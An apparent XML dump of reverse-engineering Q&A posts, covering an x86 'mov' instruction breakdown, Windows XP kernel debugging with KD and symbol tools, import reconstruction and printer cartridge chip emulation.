  <row Id="13800" PostTypeId="2" ParentId="10746" CreationDate="2016-10-23T19:38:32.930" Score="53" Body="&lt;p&gt;Lets go over the instruction piece by piece:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;mov&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;code&gt;mov&lt;/code&gt;&lt;/strong&gt;&lt;code&gt;qword ptr ds:[rax+18],r8&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the &lt;a href=&quot;https://en.wikipedia.org/wiki/Opcode&quot; rel=&quot;noreferrer&quot;&gt;opcode&lt;/a&gt; part of the instruction. It describes the base operation the CPU is required to perform. &lt;code&gt;mov&lt;/code&gt; is an opcode instructing a CPU to copy data from the second &lt;a href=&quot;https://en.wikipedia.org/wiki/Operand&quot; rel=&quot;noreferrer&quot;&gt;operand&lt;/a&gt; to the first operand. The first operand on the &lt;code&gt;mov&lt;/code&gt; instruction is a target operand, and the second is the source.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;qword ptr&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;mov&lt;/code&gt;&lt;strong&gt;&lt;code&gt;qword ptr&lt;/code&gt;&lt;/strong&gt;&lt;code&gt;ds:[rax+18],r8&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This second &lt;a href=&quot;https://en.wikipedia.org/wiki/Operand&quot; rel=&quot;noreferrer&quot;&gt;operand&lt;/a&gt; is the most complex part of this instruction, so I've split it to several pieces and I'll go over each individually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This part is the first part of the first operand. Operands are objects such as addresses or registers on which operations are performed. &lt;code&gt;qword&lt;/code&gt; indicates this operand describes an address of quad-word size, in Intel's x86 family of processors this means 8 bytes (a word is 2 bytes long). &lt;code&gt;ptr&lt;/code&gt; indicates the value of the operand should be treated as an address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In our case, this means assigning the value in the second operand to the 8 bytes starting at the address pointed to by the remaining of the first operand (&lt;code&gt;ds:[rax+18]&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;ds:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;mov qword ptr&lt;/code&gt;&lt;strong&gt;&lt;code&gt;ds:&lt;/code&gt;&lt;/strong&gt;&lt;code&gt;[rax+18],r8&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The colon is optional, and if present it follows the segment register to use when accessing data addresses. This is called &lt;a href=&quot;https://en.wikipedia.org/wiki/X86_memory_segmentation&quot; rel=&quot;noreferrer&quot;&gt;memory segmentation&lt;/a&gt;. Segment registers were first created to allow accessing memory addresses wider than the size of registers in 16bit processors and became redundant in 32 and 64-bit processors outside of real-mode, which is the mode most CPUs start at before they're switched to protected-mode (32bit) or long-mode (64bit).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Except for specific-meaning special segment registers (such as &lt;code&gt;fs&lt;/code&gt; in 32bit windows, and &lt;code&gt;gs&lt;/code&gt; in Linux and 64-bit windows), this can be widely ignored if not operating in 16bit modes.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;[rax+18]&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;mov qword ptr ds:&lt;/code&gt;&lt;strong&gt;&lt;code&gt;[rax+18]&lt;/code&gt;&lt;/strong&gt;&lt;code&gt;,r8&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The brackets are coupled with the previously discussed &lt;code&gt;ptr&lt;/code&gt; keyword and are used to highlight the address is being dereferenced before the operation is performed. All values inside the brackets should be added together to calculate the target address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In our case, this means &lt;code&gt;rax&lt;/code&gt; + 18. This means &lt;code&gt;rax&lt;/code&gt; probably points to a structure, a class, an array or some other complex memory object, and we're accessing the member at offset 18 of that memory structure. As there isn't any prefix or postfix indicating the number's base, I'll assume it's in hex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means &lt;code&gt;rax&lt;/code&gt; could be an array of qwords, and this instruction is accessing the forth (index 3) element of that array (since 18h=24=8*3).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;rax&lt;/code&gt; could be a structure of four qwords, such as a three-dimensional point in time defined as the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct _point&#xA;{&#xA;    long x;&#xA;    long y;&#xA;    long z;&#xA;    long t;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;probably accessing the &lt;code&gt;t&lt;/code&gt; member.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is important to note that for certain optimization reasons (into which I won't dive here), &lt;code&gt;rax&lt;/code&gt; is not necessarily pointing the beginning of a structure, and could be already pointing to an offset within the structure, adding 18 to that offset instead.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;, (comma)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;mov qword ptr ds:[rax+18]&lt;/code&gt;&lt;strong&gt;&lt;code&gt;,&lt;/code&gt;&lt;/strong&gt;&lt;code&gt;r8&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Commas are simply operand separators, indicating the first operand has ended and the second is about to begin.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;r8&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;mov qword ptr ds:[rax+18],&lt;/code&gt;&lt;strong&gt;&lt;code&gt;r8&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compared to the first operand, the second one is a piece of cake. This simply means the value currently in register &lt;code&gt;r8&lt;/code&gt; is the source value, and what will be assigned to the address &lt;code&gt;rax+18&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2019-12-19T11:46:44.727" LastActivityDate="2019-12-19T11:46:44.727" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="13801" PostTypeId="5" CreationDate="2016-10-23T20:29:07.833" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2016-10-23T20:29:07.833" LastActivityDate="2016-10-23T20:29:07.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13802" PostTypeId="4" CreationDate="2016-10-23T20:29:07.833" Score="0" Body="Import reconstruction is a complementary process to unpacking, usually performed after an executable is unpacked and dumped in order to make it fully functional and executable on it's own. Most packed executable files lack their full import table, requiring imports to be manually reconstructed following the dumping process." OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-10-24T03:07:51.117" LastActivityDate="2016-10-24T03:07:51.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13804" PostTypeId="2" ParentId="13786" CreationDate="2016-10-24T14:37:31.063" Score="1" Body="&lt;p&gt;As Nirlzr said, this was not a &lt;strong&gt;COM1&lt;/strong&gt; device. It was a virtual device, which functioned as an intermediary to the actual COM1 interface.&#xA;I debugged the .sys file, which was just using IOCTL_INTERNAL_USB_RECORD_FAILURE, but was merely using that IOCTL command.&lt;/p&gt;&#xA;" OwnerUserId="17826" LastActivityDate="2016-10-24T14:37:31.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13805" PostTypeId="1" AcceptedAnswerId="13807" CreationDate="2016-10-24T20:16:44.230" Score="0" ViewCount="2165" Body="&lt;p&gt;I'm trying to debug Windows XP's kernel with KD but every time I start the debugger,it seem to crash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Setup&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Windows 10&lt;/em&gt; (host machine,running kd)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Windows XP x86 SP3 VM&lt;/em&gt; (being debugged)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I configured a serial port with the following parameters:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Edited boot.ini on the target OS&lt;/li&gt;&#xA;&lt;li&gt;(on VMware) Use named pipe &lt;code&gt;\\.\pipe\com_1&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;This end is the server&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;The other end is an application&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When I try to connect to my VM I use:&lt;br&gt;&#xA;&lt;code&gt;kd -y srv*c:\symbols*https://msdl.microsoft.com/download/symbols -k com:port=\\.\pipe\com_1,pipe&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After which I get this output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Copyright (c) Microsoft Corporation. All rights reserved.&#xA;&#xA;Opened \\.\pipe\com_1&#xA;Kernel Debug Target Status: [no_debuggee]; Retries: [0] times in last [7] seconds.&#xA;Waiting to reconnect...&#xA;Unable to read head of debugger data list, Win32 error 0n56&#xA;Connected to Windows XP 2600 x86 compatible target at (Mon Oct 24 20:21:44.286 2016 (UTC + 2:00)), ptr64 FALSE&#xA;Kernel Debugger connection established.&#xA;&#xA;************* Symbol Path validation summary **************&#xA;Response                         Time (ms)     Location&#xA;Deferred                                       srv*c:\symbols*https://msdl.microsoft.com/download/symbols&#xA;Deferred                                       srv*c:symbols*http://msdl.microsoft.com/download/symbols&#xA;Symbol search path is: srv*c:\symbols*https://msdl.microsoft.com/download/symbols;srv*c:symbols*http://msdl.microsoft.com/download/symbols&#xA;Executable search path is:&#xA;Windows XP Kernel Version 2600 UP Free x86 compatible&#xA;Built by: 2600.xpsp_sp3_qfe.130704-0421&#xA;Machine Name:&#xA;Kernel base = 0x804d7000 PsLoadedModuleList = 0x805541c0&#xA;System Uptime: not available&#xA;                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   52: ERROR: UMRxReadDWORDFromTheRegistry/ZwQueryValueKey: NtStatus = c0000034&#xA;ERROR: DavReadRegistryValues/RegQueryValueExW(4). WStatus = 127&#xA;ERROR: DavReadRegistryValues/RegQueryValueExW(5). WStatus = 127&#xA;ERROR: DavReadRegistryValues/RegQueryValueExW(6). WStatus = 127&#xA;watchdog!WdUpdateRecoveryState: Recovery enabled.&#xA;Break instruction exception - code 80000003 (first chance)&#xA;*******************************************************************************&#xA;*                                                                             *&#xA;*   You are seeing this message because you pressed either                    *&#xA;*       CTRL+C (if you run console kernel debugger) or,                       *&#xA;*       CTRL+BREAK (if you run GUI kernel debugger),                          *&#xA;*   on your debugger machine's keyboard.                                      *&#xA;*                                                                             *&#xA;*                   THIS IS NOT A BUG OR A SYSTEM CRASH                       *&#xA;*                                                                             *&#xA;* If you did not intend to break into the debugger, press the &quot;g&quot; key, then   *&#xA;* press the &quot;Enter&quot; key now.  This message might immediately reappear.  If it *&#xA;* does, press &quot;g&quot; and &quot;Enter&quot; again.                                          *&#xA;*                                                                             *&#xA;*******************************************************************************&#xA;nt+0x50d2c:&#xA;80527d2c cc              int     3&#xA;kd&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problems&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;According to what I found searching around it is correct that the OS freezes as it is in debug mode. Can I actually run and stop it's execution later with breakpoints and such (I know breakpoints can be placed,but I don't know how to execute kernel code)?&lt;/li&gt;&#xA;&lt;li&gt;Also, I'm trying to decompile some routines, and I would like to know if there is any command that allows me to know whether arguments are required by the function.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Trying to use the following variable types in KD doesn't work (I guess they're not symbols). What can I do if I want to see the fields in these structures ?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;NTKERNELAPI VOID KeInitializeApc (&#xA;&#xA;IN PRKAPC Apc,&#xA;&#xA;IN PKTHREAD Thread,&#xA;&#xA;IN KAPC_ENVIRONMENT Environment,&#xA;&#xA;IN PKKERNEL_ROUTINE KernelRoutine,&#xA;&#xA;IN PKRUNDOWN_ROUTINE RundownRoutine OPTIONAL,&#xA;&#xA;IN PKNORMAL_ROUTINE NormalRoutine OPTIONAL,&#xA;&#xA;IN KPROCESSOR_MODE ApcMode,&#xA;&#xA;IN PVOID NormalContext&#xA;&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;EDIT 1: whatever I had with 'g' is gone,and I can run the XP VM.&lt;/p&gt;&#xA;" OwnerUserId="16079" LastEditorUserId="16079" LastEditDate="2016-10-25T19:06:11.120" LastActivityDate="2016-10-25T20:33:18.247" Title="Windows XP kernel debugging" Tags="|windows|debugging|kernel|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13806" PostTypeId="2" ParentId="12795" CreationDate="2016-10-24T20:53:23.403" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I’m not sure where to start on this.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;One should start by looking at available information. I assume there is none.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, you would need an oscilloscope and a logic analyzer. The less «consumer grade» you printer is, the more is the likelihood of finding off-the-shelf parts in the cartridge. Mass-production manufacturers use custom designed ASICs because their volumes are counted in millions, but IC manufacturing is very expensive at low quantities. Dealing with a design that uses commonly available parts will most likely be easier, but I don't think that's the case here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, when it's not possible do dump firmware or look up a datasheet, you would need to create a logic probe that will capture all the signals going between the chip and a printer. Then you would need to decode the protocol, compare waveforms for empty and full cartridges, see if the patters is repeated every time you power up a printer, if it's encrypted, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The end result will likely require a small FPGA and a microcontroller which will impersonate the original chip. Maybe just an MCU, if the protocol is simple enough.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I’m not sure if the chips have some kind of encrypted communication with the printer rendering the entire plan infeasible.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's possible, but most likely there won't be a full-blown RSA + AES, most likely a static key and some checksums.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I’m not sure if the chips are one-time use because something physically changes internally that cannot be undone&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Epson definitely did produce cartridges for their inkjet printers. There was a physical fuse on the chip that was blown once the printer decided the cartridge can not be used anymore.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;(if so, then could a replacement chip emulate this functionality, but be resettable?)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Looking at resettable cartridges for consumer-grade printers, I think it should be possible. HP (and most likely others) printers also keep a history of chip IDs used before — so I assume resettable ones generate a new ID when needed.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I’m not sure on the legality of this endeavor either. Does this fall under break DRM? Can ink have DRM?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am not a lawyer and you should probably ask one, but this heavily depends on whether or not you are going to share this fake chip implementation with others. Make sure to disconnect your printer from the internet, though.&lt;/p&gt;&#xA;" OwnerUserId="13606" LastActivityDate="2016-10-24T20:53:23.403" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13807" PostTypeId="2" ParentId="13805" CreationDate="2016-10-24T21:35:58.347" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;but every time I start the debugger,it seem to crash.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;According to what I found searching around it is correct that the OS freezes as it is in debug mode.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Exactly. It's not crashing, it's only putting a breakpoint at system level:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;*******************************************************************************&#xA;*                                                                             *&#xA;*   You are seeing this message because you pressed either                    *&#xA;*       CTRL+C (if you run console kernel debugger) or,                       *&#xA;*       CTRL+BREAK (if you run GUI kernel debugger),                          *&#xA;*   on your debugger machine's keyboard.                                      *&#xA;*                                                                             *&#xA;*                   THIS IS NOT A BUG OR A SYSTEM CRASH                       *&#xA;*                                                                             *&#xA;* If you did not intend to break into the debugger, press the &quot;g&quot; key, then   *&#xA;* press the &quot;Enter&quot; key now.  This message might immediately reappear.  If it *&#xA;* does, press &quot;g&quot; and &quot;Enter&quot; again.                                          *&#xA;*                                                                             *&#xA;*******************************************************************************&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Simply press &lt;kbd&gt;g&lt;/kbd&gt; then &lt;kbd&gt;Enter&lt;/kbd&gt;. Do it again if it doesn't work, and it should run properly. Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; (for &lt;code&gt;kd&lt;/code&gt;) or &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Break&lt;/kbd&gt; (for &lt;code&gt;windbg&lt;/code&gt;) to break (i.e. &quot;pause&quot; the system) again.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also, I'm trying to decompile some routines, and I would like to know if there is any command that allows me to know whether arguments are required by the function.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You need to load the symbols for the module you're going to debug. To do so, you have a few handy commands:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;.symfix&lt;/code&gt; - Fix symbol path&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This command sets the symbol path to point to the Microsoft symbol store, i.e. makes your debugger download necessary symbols when needed.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;.reload&lt;/code&gt; - the Reload Module&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This is the command you will use to load symbols for the module you're interested in. If you were interested in e.g. &lt;code&gt;sysaudio.sys&lt;/code&gt;, you'd run the command &lt;code&gt;.reload /f sysaudio.sys&lt;/code&gt; - where the &lt;code&gt;/f&lt;/code&gt; flag makes the command immediately load the symbols. For your example, &lt;code&gt;KeInitializeApc&lt;/code&gt;, you'd need to reload &lt;code&gt;nt&lt;/code&gt;. I explain how I found it below.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;lm&lt;/code&gt; - List Loaded Modules&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This will show the currently loaded modules. Useful for finding the base address of the module you're interested in (for example, &lt;code&gt;sysaudio.sys&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To find KeInitializeApc&lt;/strong&gt;, you would need to use the &lt;code&gt;x&lt;/code&gt; command, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0: kd&amp;gt; x *!KeInitializeAPC&#xA;82aebdf3          nt!KeInitializeApc (&amp;lt;no parameter info&amp;gt;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, the command shows us the offset of the function (you'll use it later with &lt;code&gt;u&lt;/code&gt;), its module (&lt;code&gt;nt&lt;/code&gt;), and its full, correct name (&lt;code&gt;nt!KeInitializeApc&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;x&lt;/code&gt; command looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x module!symbol&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use wildcards like in my example above, specify options, etc. &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff561506(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;More info about the command in MSDN&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find &lt;code&gt;KeInitializeApc&lt;/code&gt;, you'd do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; .symfix # make the debugger download symbols it needs&#xA;kd&amp;gt; .reload # reload symbols NOW&#xA;kd&amp;gt; x *!KeInitializeAPC # find desired function&#xA;82aebdf3          nt!KeInitializeApc (&amp;lt;no parameter info&amp;gt;)&#xA;kd&amp;gt; u 82aebdf3 # unassemble (disassemble)&#xA;nt!KeInitializeApc:&#xA;82aebdf3 8bff            mov     edi,edi&#xA;82aebdf5 55              push    ebp&#xA;82aebdf6 8bec            mov     ebp,esp&#xA;82aebdf8 8b4508          mov     eax,dword ptr [ebp+8]&#xA;82aebdfb 8b5510          mov     edx,dword ptr [ebp+10h]&#xA;82aebdfe 8b4d0c          mov     ecx,dword ptr [ebp+0Ch]&#xA;82aebe01 c60012          mov     byte ptr [eax],12h&#xA;82aebe04 c6400230        mov     byte ptr [eax+2],30h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From there, the decompilation is up to you. You now have the disassembly. I used the &lt;code&gt;u&lt;/code&gt; command, which means &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff560235(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;unassemble&lt;/em&gt;&lt;/a&gt;. You can also use &lt;code&gt;uf&lt;/code&gt; (unassemble function) to get a more function-friendly output, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; uf 82aebdf3 # unassemble function&#xA;nt!KeInitializeApc:&#xA;82aebdf3 8bff            mov     edi,edi&#xA;82aebdf5 55              push    ebp&#xA;82aebdf6 8bec            mov     ebp,esp&#xA;82aebdf8 8b4508          mov     eax,dword ptr [ebp+8]&#xA;82aebdfb 8b5510          mov     edx,dword ptr [ebp+10h]&#xA;82aebdfe 8b4d0c          mov     ecx,dword ptr [ebp+0Ch]&#xA;82aebe01 c60012          mov     byte ptr [eax],12h&#xA;82aebe04 c6400230        mov     byte ptr [eax+2],30h&#xA;82aebe08 83fa02          cmp     edx,2&#xA;82aebe0b 7506            jne     nt!KeInitializeApc+0x20 (82aebe13)  Branch&#xA;&#xA;nt!KeInitializeApc+0x1a:&#xA;82aebe0d 8a9134010000    mov     dl,byte ptr [ecx+134h]&#xA;&#xA;nt!KeInitializeApc+0x20:&#xA;82aebe13 894808          mov     dword ptr [eax+8],ecx&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The part regarding parameters is exactly what I'm looking for&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I dumped the PDBs and found no parameter info, so I'd guess that Microsoft simply didn't release it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I did:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Find the file where &lt;code&gt;KeInitializeApc&lt;/code&gt; is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; x *!KeInitializeApc&#xA;82abbdf3          nt!KeInitializeApc (&amp;lt;no parameter info&amp;gt;)&#xA;kd&amp;gt; !address 82abbdf3&#xA;...&#xA;...&#xA;Module name:            ntoskrnl.exe&#xA;Module path:            [\SystemRoot\system32\ntkrnlpa.exe]&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Download the symbols for &lt;code&gt;ntoskrnl&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cmd&amp;gt; symchk /v C:\windows\system32\ntoskrnl.exe&#xA;...&#xA;...&#xA;PdbFilename         C:\Windows\SYMBOLS\ntkrnlmp.pdb\9E22A5947A15489895CE716436B45BE02\ntkrnlmp.pdb&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(you can find &lt;code&gt;symchk.exe&lt;/code&gt; in the same folder as &lt;code&gt;windbg.exe&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Use Microsoft's &lt;a href=&quot;https://github.com/Microsoft/microsoft-pdb/blob/master/cvdump/cvdump.exe&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;cvdump&lt;/code&gt; tool&lt;/a&gt; to dump the PDB into a text file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cmd&amp;gt; cvdump C:\Windows\SYMBOLS\ntkrnlmp.pdb\9E22A5947A15489895CE716436B45BE02\ntkrnlmp.pdb &amp;gt; out&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open the file and search for &lt;code&gt;KeInitializeAPC&lt;/code&gt;. One hit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;S_PUB32: [0001:00071654], Flags: 00000002, KeInitializeApc&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Search for &lt;code&gt;KeInitializeApc&lt;/code&gt; again (no results), or its ID (I guess?), &lt;code&gt;[0001:00071654]&lt;/code&gt; -&gt; &lt;code&gt;71654&lt;/code&gt;. One result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  *** SECTION CONTRIBUTIONS&#xA;&#xA;  Imod  Address        Size      Characteristics&#xA;  01B9  0001:00071654  00000098  60303020&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Dump PDB types with &lt;code&gt;cvdump -t&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;No type info available for &lt;code&gt;01B9&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Additionally, I downloaded &lt;a href=&quot;https://developer.microsoft.com/en-us/windows/hardware/download-symbols&quot; rel=&quot;nofollow&quot;&gt;checked symbols&lt;/a&gt; (they supposedly have more information in them) and repeated the process for those, but couldn't find anything either.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And after pressing &quot;g&quot; nothing happens,for a while, to the point that I decide to break again. Is it supposed to take long ? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When you press &lt;kbd&gt;g&lt;/kbd&gt;, you're basically telling the debugger to run the OS. Whenever it is running, the debugger can't do anything but wait until it breaks. Since the OS is running normally, it will not stop until you manually break. Therefore, you have to break before inputting any command.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;kd &gt; dt PKKERNEL_ROUTINE&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Apparently, there aren't any &lt;code&gt;Ke*&lt;/code&gt; symbols:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; dt nt*!Ke*                             # nothing here&#xA;kd&amp;gt; dt nt!LIST_ENTRY*                     # Symbols are working properly,&#xA;          ntkrpamp!LIST_ENTRY64           # because this works&#xA;          ntkrpamp!LIST_ENTRY32&#xA;kd&amp;gt; dt nt!LIST_ENTRY64                    # dt works properly. Therefore,&#xA;   +0x000 Flink            : Uint8B       # Ke* doesn't have any symbols&#xA;   +0x008 Blink            : Uint8B&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll have to reverse the code yourself and name the params, or find them somewhere in the internet, because apparently they aren't in the PDBs.&lt;/p&gt;&#xA;" OwnerUserId="17693" LastEditorUserId="17693" LastEditDate="2016-10-25T20:33:18.247" LastActivityDate="2016-10-25T20:33:18.247" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
